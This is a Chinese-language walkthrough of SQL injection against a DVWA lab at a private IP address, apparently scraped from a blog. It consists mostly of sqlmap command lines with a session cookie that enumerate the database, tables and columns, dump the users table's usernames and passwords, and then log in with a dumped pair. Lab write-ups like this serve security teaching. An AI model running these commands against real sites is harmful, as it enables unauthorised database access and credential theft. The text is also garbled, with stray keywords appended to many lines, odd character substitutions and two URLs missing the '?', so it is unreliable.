1、漏洞概述python
SQL(Structured Query Language)是一種結構化的查詢語言,用於與數據庫進行交互並可以被數據庫解析。SQL注入便是指web應用程序對用戶輸入數據的合法性過濾不嚴,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,來實執行非受權的任意查詢,從而獲得相應的數據信息。web
2、工具sql
firefox,sqlmap數據庫
3、測試過程cookie
一、首先咱們進入界面,隨意輸入user id進行測試,而後按F12獲取提交時的url(或者使用抓包工具抓取):工具
URL:http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#測試
二、使用sqlmap檢測是否存在注入點ui
輸入命令 :url
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#"
能夠看到對獲取到的url進行檢測後,會302重定向到登陸的url,說明咱們檢測的url必須帶有登陸權限才能驗證,所以咱們的命令中須要帶上登陸dvwa後的cookie信息。spa
調整命令後再次檢測:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch
三、查看當前連接的數據庫
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch --current-db
四、獲取當前數據庫中的全部數據表
輸入命令:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa --tables
五、咱們查看user表中的全部列
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users --columns
能夠很明顯的看出user和password是咱們須要的信息
六、導出指定數據表中指定的列
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users -C "user,password" --dump
如今咱們只要任取一組在登陸頁面驗證便可。